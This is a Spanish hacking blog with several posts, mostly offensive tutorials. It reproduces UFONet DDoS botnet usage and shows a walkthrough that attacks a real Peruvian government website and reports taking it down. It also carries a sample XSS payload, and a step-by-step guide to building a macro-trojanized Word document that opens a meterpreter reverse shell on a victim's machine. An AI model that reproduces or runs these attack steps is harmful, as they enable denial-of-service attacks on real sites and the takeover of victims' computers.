HACKER ANGELWHITE GALC

lunes, 7 de noviembre de 2016

UFONet - DDoS Botnet via Web Abuse

  Resultado de imagen para UfONet
 ====================================================================== 
  UFONet - DDoS Botnet via Web Abuse 
======================================================================
 

News:

  • [10/2016] - UFONet (v0.8 "U-NATi0n!") has been released: visit code.
- UFONet-v0.8(.zip) (md5:da3f21a040ff5089f86f9d6f83c65138) - torrent - UFONet-v0.8(.tar.gz) (md5:43c282660fde63a0c287e2c3a3260f76) - torrent
UFONet U-NATi0n!
+Zoom

Introduction:

UFONet - is a free software tool designed to test DDoS attacks against a target using 'Open Redirect' vectors on third party web applications like botnet. + See this links for more info: - CWE-601:Open Redirect - OWASP:URL Redirector Abuse

UFONet abuses OSI Layer 7-HTTP to create/manage 'zombies' and to conduct different attacks using; GET/POST, multithreading, proxies, origin spoofing methods, cache evasion techniques, etc.

[!]Remember: this tool is NOT for educational purpose.

Usage of UFONet for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program. 
 
 

Media:


* VIDEO: UFONet v0.7 "Big Crunch!" (OLD VersioN!



 
* Shell: Banner [ +Zoom ]

UFONet U-NATi0n!
* Shell: Tango Down! [ +Zoom ]
UFONet U-NATi0n!
* GUI: Banner [ +Zoom ]
UFONet U-NATi0n!
* GUI: GlobalMap Deploying Botnet [ +Zoom ]
UFONet U-NATi0n!
* GUI: Attack Visor [ +Zoom ]
UFONet U-NATi0n!
* GUI: GlobalMap Botnet Attack [ +Zoom ]
UFONet U-NATi0n!
* VIDEO: UFONet v0.6 "Galactic OFFensive" (OLD version!)
 
 

 
 
 

Packages:


Current version: v0.8 - 'U-NATi0n!'

git clone https://github.com/epsylon/ufonet

+ Packages: - UFONet-v0.8(.zip) (md5:da3f21a040ff5089f86f9d6f83c65138) - torrent - UFONet-v0.8(.tar.gz) (md5:43c282660fde63a0c287e2c3a3260f76) - torrent -------------------------------- + Previous: - UFONet-v0.7(.zip) (md5:77af04023893d71f34e12a424247a0dd) - torrent - UFONet-v0.7(.tar.gz) (md5:5f4656a8e0a75a8483c3d425e86cca4b) - torrent - UFONet-v0.6(.zip) (md5:f6be802f76e40b7dfd06075bfc616e39) - torrent - UFONet-v0.6(.tar.gz) (md5:40ca8242475a72dc99c139309fe9055c) - torrent - UFONet-v0.5b(.tar.gz) (md5:775f13baefb9241142c377f8519506f7)

FAQ:


If you have problems with UFONet, try to solve them following next links: - Website FAQ section - UFONet GitHub issues

Installation:


UFONet runs on many platforms. It requires Python (>2.7.9) and the following libraries: python-pycurl - Python bindings to libcurl python-geoip - Python bindings for the GeoIP IP-to-country resolver library python-crypto - Cryptographic algorithms and protocols for Python On Debian-based systems (ex: Ubuntu), run: sudo apt-get install python-pycurl python-geoip python-crypto On other systems such as: Kali, Ubuntu, ArchLinux, ParrotSec, Fedora, etc... also run: pip install geoip pip install requests pip install pycrypto Source libs: * Python | * PyCurl | * PyGeoIP | * PyCrypto

Usage:


UFONet.py [options] Options: --version show program's version number and exit -h, --help show this help message and exit -v, --verbose active verbose on requests --update check for latest stable version --check-tor check to see if Tor is used properly --force-yes set 'YES' to all questions --gui run GUI (UFONet Web Interface) *Tools*: --crypter Encrypt/Decrypt messages using AES256+HMAC-SHA1 *Configure Request(s)*: --proxy=PROXY Use proxy server (tor: 'http://127.0.0.1:8118') --user-agent=AGENT Use another HTTP User-Agent header (default SPOOFED) --referer=REFERER Use another HTTP Referer header (default SPOOFED) --host=HOST Use another HTTP Host header (default NONE) --xforw Set your HTTP X-Forwarded-For with random IP values --xclient Set your HTTP X-Client-IP with random IP values --timeout=TIMEOUT Select your timeout (default 10) --retries=RETRIES Retries when the connection timeouts (default 1) --threads=THREADS Maximum number of concurrent HTTP requests (default 5) --delay=DELAY Delay in seconds between each HTTP request (default 0) *Search for 'Zombies'*: -s SEARCH Search from a 'dork' (ex: -s 'proxy.php?url=') --sd=DORKS Search from 'dorks' file (ex: --sd 'botnet/dorks.txt') --sn=NUM_RESULTS Set max number of results for engine (default 10) --se=ENGINE Search engine to use for 'dorking' (default: bing) --sa Search massively using all search engines *Test Botnet*: -t TEST Update 'zombies' status (ex: -t 'botnet/zombies.txt') --attack-me Order 'zombies' to attack you (NAT required!) --test-rpc Update 'xml-rpc' reflectors status *Community*: --download-zombies Download 'zombies' from Community 'blackhole' --upload-zombies Upload your 'zombies' to Community 'blackhole' --blackhole Create a 'blackhole' to share your 'zombies' --up-to=UPIP Upload your 'zombies' to a 'blackhole' --down-from=DIP Download your 'zombies' from a 'blackhole' *Research Target*: -i INSPECT Search biggest file (ex: -i 'http(s)://target.com') *Configure Attack(s)*: --no-head Disable status check: 'Is target up?' --no-aliens Disable 'aliens' web abuse --no-droids Disable 'droids' redirectors --no-ucavs Disable 'ucavs' checkers --no-rpcs Disable 'xml-rpcs' reflectors -r ROUNDS Set number of rounds (default: 1) -b PLACE Set place to attack (ex: -b '/path/big.jpg') -a TARGET Start Web DDoS attack (ex: -a 'http(s)://target.com') *Special Attack(s)*: --db=DBSTRESS Set db stress input point (ex: --db 'search.php?q=')

Examples:


  • Searching for 'zombies':
UFONet can dig on different search engines results to find possible 'Open Redirect' vulnerable sites. A common query string should be like this: 'proxy.php?url=' 'check.cgi?url=' 'checklink?uri=' 'validator?uri=' For example you can begin a search with: ./ufonet -s 'proxy.php?url=' Or providing a list of "dorks" from a file: ./ufonet --sd 'botnet/dorks.txt' By default UFONet will uses a search engine called 'bing'. But you can choose a different one: ./ufonet -s 'proxy.php?url=' --se 'bing' This is the list of available search engines with last time that were working: - bing [17/08/2016: OK!] - yahoo [17/08/2016: OK!] You can also search massively using all search engines supported: ./ufonet -s 'proxy.php?url=' --sa To control how many 'zombies' recieve from search engines you can use: ./ufonet --sd 'botnet/dorks.txt' --sa --sn 20 At the end of the process, you will be asked if you want to check the list retrieved to see if the urls are vulnerable. Wanna check if they are valid zombies? (Y/n) Also, you will be asked to update the list adding automatically only 'vulnerable' web apps. Wanna update your list (Y/n) If you reply 'Y' your new 'zombies' will be appended to the file named: zombies.txt ------------- Examples: + with verbose: ./ufonet -s 'proxy.php?url=' -v + with threads: ./ufonet --sd 'botnet/dorks.txt' --sa --threads 100

  • Testing botnet:
Open 'zombies.txt' (or another file) and create a list of possible 'zombies'. Urls of the 'zombies' should be like this: http://target.com/check?uri= After that, launch it: ./ufonet -t 'botnet/zombies.txt' You can order to 'zombies' to attack you and see how they reply to your needs using: ./ufonet --attack-me At the end of the process you will be asked if you want to update the list adding automatically only 'vulnerable' web apps. Wanna update your list (Y/n) If you reply 'Y', your file: zombies.txt will be updated. ------------- Examples: + with verbose: ./ufonet -t 'botnet/zombies.txt' -v + with proxy TOR: ./ufonet -t 'botnet/zombies.txt' --proxy="http://127.0.0.1:8118" + with threads: ./ufonet -t 'botnet/zombies.txt' --threads 50

  • Inspecting a target:
This feature will provides you the biggest file on target: ./ufonet -i http://target.com You can use this when attacking to be more effective: ./ufonet -a http://target.com -b "/biggest_file_on_target.xxx" ------------- Example: +input: ./ufonet -i http://target.com +output: [...] +Image found: images/wizard.jpg (Size: 63798 Bytes) ------------ +Style (.css) found: fonts.css (Size: 20448 Bytes) ------------ +Webpage (.php) found: contact.php (Size: 2483 Bytes) ------------ +Webpage (.php) found: about.php (Size: 1945 Bytes) ------------ +Webpage (.php) found: license.php (Size: 1996 Bytes) ------------ ================================================================================ =Biggest File: http://target.com/images/wizard.jpg ================================================================================

  • Attacking a target:
Enter a target to attack with a number of rounds: ./ufonet -a http://target.com -r 10 On this example UFONet will attacks the target a number of 10 times for each 'zombie'. That means that if you have a list of 1.000 'zombies' it will launchs 1.000 'zombies' x 10 rounds = 10.000 requests to the target. By default if you don't put any round it will apply only 1. Additionally, you can choose a place to recharge on target's site. For example, a large image, a big size file or a flash movie. In some scenarios where targets doesn't use cache systems this will do the attack more effective. ./ufonet -a http://target.com -b "/images/big_size_image.jpg" ------------- Examples: + with verbose: ./ufonet -a http://target.com -r 10 -v + with proxy TOR: ./ufonet -a http://target.com -r 10 --proxy="http://127.0.0.1:8118" + with a place: ./ufonet -a http://target.com -r 10 -b "/images/big_size_image.jpg" + with threads: ./ufonet -a http://target.com -r 10 --threads 500

  • Special attacks:
UFONet uses different ways to exploit 'Open Redirect' vulnerabilities. For example: You can use UFONet to stress database on target by requesting random valid strings like search queries: ./ufonet -a http://target.com --db "search.php?q=" Also, it exploits (by default) XML-RPC Pingback Vulnerability, generating callback requests and increasing processing required by target. You can test your list of 'X-RPCs zombies' by launching: ./ufonet --test-rpc

  • Updating:
UFONet implements an option to update the tool to the latest stable version. This feature can be used only if you have cloned it from GitHub repository To check your version you should launch: ./ufonet --update This will update the tool automatically, removing all files from your old package.

  • GUI/Web Interface:
You can manage UFONet using a Web interface. The tool has implemented a python web server connected to the core, to provides you a more user friendly experience. To launch it, use: ./ufonet --gui This will open a tab on your default browser with all features of the tool and some 'extra' options. ;-) Ex: UFONet 'CryptoNews' [ +Zoom ]

UFONet U-NATi0n!

  • Generating 'Blackhole':
UFONet has some P2P options to share/keep 'zombies' with other 'motherships'. * Setup web server with a folder "ufonet", this folder should be: - located in /var/www/ufonet (default debian/ubuntu install) - owned by the user running the blackhole - accessible with http://your-ip/ufonet/ * Start the blackhole with: ./ufonet --blackhole (or python2 blackhole.py) * Anyone wanting to connect to your server needs to set the --up-to/--down-from to the ip address of your webserver... [!]WARNING : this *ADVANCED* function is *NOT* secure, proceed if you really want to. ------------- Examples: + Starting 'blackhole' server: ./ufonet --blackhole

License:


UFONet is released under the terms of the General Public License v3 and is copyrighted by psy.

Support:


If you want to contribute to UFONet development, reporting a bug, providing a patch, commenting on the code base or simply need to find help to run it, please go to: + Wormhole: irc.freenode.net / channel: #ufonet If nobody gets back to you, then drop me an e-mail. To make donations use the following hash: - Bitcoin: 1Q63KtiLGzXiYA8XkWFPnWo7nKPWFr3nrc







viernes, 4 de noviembre de 2016

ENVIANDO ATAQUES MASIVOS DE DDOS CON UFONET



Saludos mis fieles lectores en esta oportunidad les traigo la herramienta llamada "UFOnet" la cual funciona como una "Botnet" de distribución de denegación de servicio, en nuestro sistema operativo GNU/Linux recolectando fallos de servidores web con la vulnerabilidad "Open Redirect" la cual enviara varias peticiones con grandes paquetes a la pagina objetivo.

http://cwe.mitre.org/data/definitions/601.html 

Descarga

root@kali:~# git clone https://github.com/epsylon/ufonet
root@kali:~# cd ufonet
root@kali:~/ufonet# ls
root@kali:~/ufonet# cd ufonet
root@kali:~# ./ufonet

una ves descargado y comprobado que todo salio exitoso, vamos a configurar nuestro servidor añadiendo algunas configuraciones pero antes vamos a explicar algunos métodos que consta dicha herramienta.

Busqueda de Boots

como sabrán esta herramienta consta de una búsqueda de indexiaciones por medio de "Dorks" donde vamos a encontrar parámetros GET  que son vulnerables para realizar este tipo de ataques como son:
  1. 'check.cgi?url='
  2. 'proxy.php?url='
  3. 'validator?uri='
  4. 'checklink?uri='
Al realizar dichas consultas vamos a encontrarnos que el buscador por defauld es "duck", pero también podemos añadir otros parámetros para añadir otros buscadores como lo son bing, google, yahoo, yandex, etc, como son las siguientes:

root@kali:~/ufonet/ufonet# ./ufonet -s 'proxy.php?url=' --se 'bing'
root@kali:~/ufonet/ufonet# ./ufonet -s 'proxy.php?url=' --se 'google'
root@kali:~/ufonet/ufonet# ./ufonet -s 'proxy.php?url=' --se 'yahoo'
root@kali:~/ufonet/ufonet# ./ufonet -s 'proxy.php?url=' --se 'yandex'

pero si deseamos hacer una búsqueda avanzada de las DORKS en general que contiene el repertorio de ufonet podemos hacer una búsqueda estándar para añadir mas paginas vulnerables las cuales son las siguientes:

root@kali:~/ufonet/ufonet# ./ufonet --sd 'dorks.txt'

como pueden observar esta elaborando una búsqueda general de todas las Dorksencontradas en dicho documento de texto, donde rápidamente se guardara en un archivo llamado "Zombies.txt.

Pero si deseamos tener una conexión anónima en este caso con un proxy que se directamente con ufonet esta implementado Tor, la cual podemos ejecutarlo de la siguiente manera.

./ufonet -a http://target.com -r 10 --proxy="http://127.0.0.1:9150"

Si no lo tienen instalado pueden ver el siguiente tutorial donde enseño como configurar lo para Kali.

http://backtrack-omar.blogspot.pe/2015/09/instalar-tor-browser-en-kali-linux-20-y.html

Bueno primero que nada, vamos a  ejecutar algunas conexiones defauld de pruebas de ataques para cargar el servidor y ver algunas peticiones que constan varias variaciones de estructuras, lo que haremos sera ejecutar un comando para obtener una búsqueda relacionada a una DORK como es la siguiente:
 root@kali:~/ufonet/ufonet# ./ufonet -s 'proxy.php?url='

luego de ello vamos a ejecutar el siguiente comando para cargar los módulos de los servicios web vulnerables

 root@kali:~/ufonet/ufonet# ./ufonet -i http://target.com
como vemos los archivos están siendo cargados de manera exitosa en nuestro servidor local, pero también podemos ejecutar  el siguiente comando para elaborar un TEST en el siguiente servicio.

 root@kali:~/ufonet/ufonet#  ./ufonet -a http://target.com -b "/biggest_file_on_target.xxx" 

sin duda este ataque es muy efectivo ya que va realizar consultas con las listas mas grandes que puede ver en el servidor y es uno de los mas efectos, pero también podemos ejecutar el siguiente que es aun mas prodigioso si es que se ha configurado bien el buscador de web's vulnerables, si deseamos lanzar un ataque mediante las conexiones de envíos por defauld podemos añadir lo siguiente:

root@kali:~/ufonet/ufonet# ./ufonet -a http://www.peru.gob.pe -r 10 -v
 como vemos primero nos carga los paquetes de envios de las cabeceras, como acabamos de ver, pero al terminar lo siguiente, empezaremos a enviar las peticiones de acuerdo al tipo de threads que hemos realizado, como en mi caso fue 10, se ara una petición de 10 repeticiones:
como vemos en la siguiente imagen la herramienta consta de una website muy conocida llamada "downforeveryoneorjustme", donde nos dirá, si la web esta Down o UP como vemos nos dice que esta down o caída.

 pero como siempre es bueno hecha ojo en los servicios paso a verificarlo:

Lo interesante es los paquetes que enviá y la respuesta que recibe.
entonces el Test del servidor se ha realizado correctamente. espero les aya gustado este POST.
Saludos!

gracias a mi amigo Omar Rodriguez 


jueves, 3 de noviembre de 2016

D-TECT – Pentesting the Modern Web

D-TECT es una la herramienta todo-en-uno para pruebas de penetración. Está especialmente programado para hacer más fácil el trabajo de pentesters e investigadores de seguridad informática.
herramienta

En lugar de utilizar diferentes herramientas para realizar diferentes tareas, D-TECT ofrece múltiples características y funciones de recolección de información para encontrar vulnerabilidades en un objetivo. El autor es Shawar Khan , el mismo que publicó “la tool BruteXSS“.

Compatibilidad:
⦁    Cualquier plataforma usando Python 2.7
Requisitos:
⦁   Python 2.7
⦁   Módulos (incluidos) : Colorama , BeautifulSoup
Características:
⦁       Escáner de subdominios
⦁       Exploración de puertos
⦁       Escáner de WordPress
⦁       Enumeración de usuarios de WordPress
⦁       Banner Grabbing
⦁       Detección de archivos sensibles
⦁       Escáner Same-Site Scripting
⦁       Detección Click Jacking
⦁       Poderoso escaner de vulnerabilidades XSS
⦁       Escáner de vulnerabilidades de SQL Injecction
⦁       Interfaz de usuario amigable
Capturas de pantalla:
Banner Grabbing:

 Underc0de - Hacking y seguridad informática-https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEipc63SoC4Lb6PUJs9kSWppLUeaB8c80WAHo0HSMEzGQGPPjZjvqGehuSgQx6c7-QnGwiCCPpdIhTIVJsnqW60qRU2mS2Ce7q1gIZEgtdou77FbV__Uc0AbR_YLVtAgpZxjVHSp-KtVWAw/s1600/02_banner.png

Detección Click Jacking:


Escáner de puertos:


WordPress Backup Grabber:
 Underc0de - Hacking y seguridad informática-https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiiThB2Mgt9XCNcwpzBUsRdCgxqXvhSD-kA-FkN70cAH18qCnp5L8yWZdSvJ87JmTxbw6gtNyVneZPprbkbbV_xpE7Q8nQoo0rx5TNIswr2MQEyIyihpAvTUa1V1y-jDvjTmxYDUjRXQXU/s1600/05_backup.png

Detección de archivos sensibles:
 Underc0de - Hacking y seguridad informática-https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi9UbljU_IGrU6E0iDxRZ_G5nc6sFYIAa36IwLWaJj4BOzuSPf3mu6Mjywn6Pmgu7Xm1ASIjNwEZvihuiiEWF1uBfIfkQHwLAUx3mLBj4otzVieEwn-rRNhJEArPuvWhiFWDpOM8A4tb2c/s1600/06_filedetection.png

Cross-Site Scripting [ XSS ] scaner:
 Underc0de - Hacking y seguridad informática-https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhP_HtdbUr4WKQGZXpkJ49bq0LQhUFyLqlrK6qouPx8G03bikwxb249TDDoOUbY6FdSo30ecXCOAbY0s7_JLZnEnNgZTxPsuo5x10g-tnnJuOFC-_qEfhruvb2jXXR3o1tErNyDkZpKDbQ/s1600/07_xss.png

SQL Injection [ SQLI ] scaner:
 Underc0de - Hacking y seguridad informática-https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgR0tE9l3mtv8p70rklLmztGDod-yTP1-QpmufpJTKyRlJpZEMQrT7l3pSWHmOJLXWwsgnevizlJCNkn6D0jX4eHt02wfjJJGM-6YCpF-YNReg8K51qAd_1JJ_ucVn0R7ew_FamtlkyIco/s1600/08_sqli.png

Escáner de subdominios:
 Underc0de - Hacking y seguridad informática-https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiRyEI21XNG1M1wIBqQw8l4pn6ve6s-WfT1d3rbLJyUAHH7Bd1GUBvmLT4fYnQX9PoiGEFnvM1Kk-JpM4kBsX2lVeJC7YJndcLRqJO8YcPgvZ3MUNV3w71T0lNmcDK5XvfDDxF59mNWyc4/s1600/09_subdomain.png

Enumeración de usuarios de WordPress:
 Underc0de - Hacking y seguridad informática-https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjpr3CWcrIMOAFb2p6B2LhNPc7ypvr85ujMIV1rsJS7ZoKx4FkKIExaU2fLW3IkzAB82LDsdnePzkgqLX6ApMVYrCYTUMYosUQoupsID608Rr7DL-siJPxl2rV4YzyBQAWjoe-CfkegEJU/s1600/10_usernameenumeration.png

Detección de Same Site Scripting:

Herramienta: creada por

/D-TECT

 

How i bypassed PayPal’s 2-Factor Authentication

Introducción:
Saludos a todos, este es Shawar Khan. Y hoy voy a revelar una de mis investigaciones de PayPal. Recientemente he encontrado un 2-factor de autenticación (2FA) Bypass en el dominio principal de PayPal que permite a cualquier atacante para pasar por alto el mecanismo de verificación. Alrededor de 4 errores se informó que incluye Inyección de HTML, Inyección de contenido y algunos otros, pero voy a revelar el bypass 2FA como esto ayudará a los principiantes en su carrera para encontrar defectos similares en sitios web bien conocidos.

 2-Factor Authentication:





PayPal 2-Factor Authentication Bypass by Shawar Khan 


PayPal 2-Factor Autenticación Bypass por Shawar Khan
La autenticación de dos factores, también conocida como 2FA, verificación en dos pasos o TFA (como un acrónimo), es una capa adicional de seguridad que se conoce como "autenticación multi factor" que requiere no sólo una contraseña y un nombre de usuario, sino también algo que sólo y Sólo, que el usuario tiene en ellos, es decir, una pieza de información sólo deben saber o tener inmediatamente a mano - como un token físico.
El uso de un nombre de usuario y una contraseña, junto con una información que sólo el usuario sabe, hace que sea más difícil para los intrusos potenciales acceder y robar los datos personales o la identidad de esa persona.
En otras palabras, cuando un usuario introduce su nombre de usuario y contraseña en un área de inicio de sesión que tiene 2FA desplegado, el usuario recibirá un código o ficha en su número de teléfono o correo electrónico que debe ingresar en su cuenta. Una vez que este código se ingresa en la página, le permitirá tener acceso a la cuenta. Este mecanismo se utiliza para proteger a medida que despliega una capa adicional de seguridad, incluso si el atacante llegó a conocer el nombre de usuario y la contraseña, no podrá acceder a la cuenta.

 PayPal 2-FA:

Así es como funciona la autenticación de 2 Factores de PayPal, cuando un usuario con 2-FA desplegado inicia sesión en su cuenta. Hay 2 maneras de verificar un usuario:

     Verificar mediante la aplicación para móviles de PayPal
     Verificar por número de teléfono

Verificación a través de la aplicación para móviles de PayPal

Cuando se utiliza la opción de verificación con la aplicación móvil de PayPal, se envía una solicitud de inicio de sesión a la aplicación de PayPal, donde el usuario ya está autenticado. El usuario tiene que confirmar el inicio de sesión para permitir el acceso a la cuenta.
Verificación a través del número de teléfono

Cuando se utiliza esta opción, PayPal envía un código por SMS o por Llamada al número asociado a esa cuenta. Una vez que se recibe el código, el usuario tiene que introducir ese código en la página web para obtener acceso a la cuenta.
 

Aplicación de Android Pentesting - II


Continuando mi aplicación androide pentesting serie, aquí viene el tutorial siguiente acerca de una vulnerabilidad muy común que se encuentra comúnmente en muchas de las aplicaciones de Android, es decir, información confidencial Vuln.Es posible que hayas oído hablar de esta vulnerabilidad, hay muchas maneras en las que una aplicación podría perder algunos sensibles. En este vídeo a continuación te mostraré una forma de cómo una aplicación podría estropearse y podríamos encontrar esa vulnerabilidad.En este video, usaré una de las aplicaciones que he creado, es decir, RIVA (aplicación Rajesh Insecure & Vulnerable). En el video anterior usé DIVA para mostrarte la demo, pero en ésta usaré mi aplicación. Y voy a utilizar una herramienta más, es decir, ADB (Android Debugging Bridge), es posible que haya oído hablar de esto voy a utilizar esta herramienta para analizar los registros creados por RIVA.Pasos que realicé en este video: -

    
Conectado mi dispositivo Android con adb.
    
Ahora ejecuté el comando "adb logcat" en mi línea de comandos.
    
A continuación, abrió mi aplicación y entré mis credenciales.
    
Pero la aplicación no aceptó las credenciales y nos mostró un error.
    
Ahora analizaba los registros, y trataba de encontrar algo sospechoso.
    
Y su encontré mis credenciales en los registros.Así que espero que este video te ayude.


BruteXSS

BruteXSS – Cross Site Scripting Bruteforcer

Author: Shawar Khan

Sponsored & Supported by Netsparker Web Application Security Scanner

Compatibility:

  • Any system running Python 2.7

Requirements:

  • Python 2.7
  • Wordlist included(wordlist.txt)
  • Modules included(Colorama,Mechanize)

Description:

BruteXSS is a Cross-Site Scripting Bruteforcer which is used for bruteforcing parameters with XSS payloads. This tool is specially designed for Pentesters, Security Researchers and Hackers who are willing to check the URLs by using XSS bruteforce. BruteXSS basically loads payloads from a specified wordlist and injects them in the target url, If the parameter is vulnerable it will be printed out. BruteXSS now supports GET and POST requests which makes it much powerful when it comes to bruteforcing and scanning the modern web.

Features:

  • XSS Bruteforcing
  • XSS Scanning
  • Supports GET/POST requests
  • Custom wordlist can be included
  • User-friendly UI

Usage(GET Method):

COMMAND:  python brutexss.py
METHOD:   g
URL:      http://www.site.com/?parameter=value
WORDLIST: wordlist.txt

Usage(POST method):

COMMAND:   python brutexss.py
METHOD:    p
URL:       http://www.site.com/file.php
POST DATA: parameter=value&parameter1=value1
WORDLIST:  wordlist.txt

Output:


[syntax type=”bash”]
  ____             _        __  ______ ____  
 | __ ) _ __ _   _| |_ ___  \ \/ / ___/ ___| 
 |  _ \| '__| | | | __/ _ \  \  /\___ \___ \ 
 | |_) | |  | |_| | ||  __/  /  \ ___) |__) |
 |____/|_|   \__,_|\__\___| /_/\_\____/____/ 

 BruteXSS - Cross-Site Scripting BruteForcer

 Author: Shawar Khan - https://shawarkhan.com                      


Select method: [G]ET or [P]OST (G/P): p
[?] Enter URL:
[?] > http://site.com/file.php
[+] Checking if site.com is available...
[+] site.com is available! Good!
[?] Enter post data: > parameter=value&parameter1=value1
[?] Enter location of Wordlist (Press Enter to use default wordlist.txt)
[?] > wordlist.txt
[+] Using Default wordlist...
[+] Loading Payloads from specified wordlist...
[+] 25 Payloads loaded...
[+] Injecting Payloads...

[+] Testing 'parameter' parameter...
[+] 2 / 25 payloads injected...
[!] XSS Vulnerability Found! 
[!] Parameter:  parameter
[!] Payload:    "><script>prompt(1)</script>

[+] Testing 'parameter1' parameter...
[+] 25 / 25 payloads injected...
[+] 'parameter1' parameter not vulnerable.
[+] Bruteforce Completed.
[+] 1 Parameter is vulnerable to XSS.
[+] Scan result for site.com:
+----+--------------+----------------+
| Id | Parameters   |     Status     |
+----+--------------+----------------+
| 0  |  parameter   |  Vulnerable    |
+----+--------------+----------------+
| 1  |   parameter1 | Not Vulnerable |
+----+--------------+----------------+

[/syntax]

Download BruteXSS:

 GitHub: https://github.com/shawarkhanethicalhacker/BruteXSS

Demo:

martes, 1 de noviembre de 2016

Troyanizando documento Microsoft Word mediante Macros con Metasploit


 word
Todos hemos escuchado alguna vez o hemos utilizado Macros para la Suite de Office de Microsoft, una macro es un conjunto de instrucciones programadas, las cuales automatizan las operaciones que realiza la aplicación ofimática con el objetivo de eliminar tareas repetitivas o realizar cálculos complejos en un corto espacio de tiempo.
Ya había visto hace tiempo como se podría comprometer un sistema mediante estas macros, pero nunca realicé ninguna prueba, después de investigar un poco, he aprendido una buena manera de realizar este ataque.
En esta entrada os mostraré como se puede crear o modificar un documento de Microsoft Word 2013 con macros maliciosas para tomar el control sobre un sistema.
Para este ataque he utilizado el grandioso Framework Metasploit y como GUI Cobal Strike, podéis descargar Metasploit de AQUI, y una licencia de prueba de 21 días de Cobalt Strike desde AQUI (la licencia tiene un coste de 2500$ anuales, de momento nos las arreglaremos con la versión de prueba).
Cobalt Strike logo
Para comenzar este ataque, vamos a poner en marcha Metasploit desde Kali Linux.

metasploitstart

Una vez arrancado el servicio, nos posicionamos sobre la carpeta de Cobalt Strike y lo ejecutamos para empezar a trabajar, nos aparecerán varias ventanas donde podremos configurar el puerto donde trabaja, etc. Por defecto lo dejamos tal cual y esperamos (puede tardar un ratito).

cobal1
cobal2cobal3cobal4



En la interfaz de Cobalt Strike, nos vamos a la pestaña Attacks –> Packages –> MS Office Macro.

cobalt5

Nos aparecerá una ventana, en la cual deberemos configurar el Listener, hacemos Click en el botón Add.

cobalt6

En mi caso lo configuraré de la siguiente manera, en Host por defecto deja puesta nuestra IP Privada, este ataque voy a realizarlo sobre otra máquina de pruebas en mi red LAN, por lo tanto con mi IP Privada me vale, pero recordad que si queréis realizarlo sobre otro equipo fuera de vuestra red, deberéis de utilizar un DDNS como NO-IP y realizar Port Forwarding del puerto (en este caso 666) en vuestro Router hacia vuestra IP.
En Payload elegiremos windows/meterpreter/reverse_tcp y en nombre lo que queráis.

cobalt7

Una vez configurado Click en el botón Save y después en Generate.


cobalt8
cobalt9

La ventana anterior nos indica los pasos a seguir para copiar el código malicioso generado por Cobalt Strike y pegarlo en cualquier documento Office, al hacer Click en el botón Copy Macro, se nos copiará al portapapeles la macro que deberemos copiar al documento Word.

cobalt10

Abrimos cualquier documento Word, y en la pestaña VISTA tenemos la opción de Macros, Ver Macros.

cobalt11

Vamos a crear la macro maliciosa, en Nombre de macro le asignamos un nombre, y en Macro en: seleccionamos Documento1 (Documento).

cobalt12

Nos aparecerá una ventana como la siguiente.

cobalt13

Borramos todo lo que haya, y lo sustituimos por lo que teníamos copiado en el portapapeles (Control+V), nos quedaría así.

cobalt14

Guardamos el documento, le ponemos un nombre y el tipo deberemos de seleccionar Documento habilitado con macros de Word, como en la imagen a continuación.

cobalt15

Una vez la víctima abra el archivo, le aparecerá una advertencia de seguridad, si habilita el contenido (como regla general todo el mundo suele habilitarlo), tendremos acceso total a su sistema.

cobalt16

Una vez se ha realizado el ataque con éxito, no aparecerá el sistema comprometido.

cobalt17



Podemos ver por ejemplo, como podemos tener acceso a todos sus ficheros, tomar capturas de la cámara, capturas de escritorio o hacer un scaner ARP a su red para posteriormente hacer Pivoting y seguir atacando a mas objetivos.

cobalt18

Espero que os sirva de ayuda.
Un Saludo y Happy Hacking!!!!!!
cobaltstrike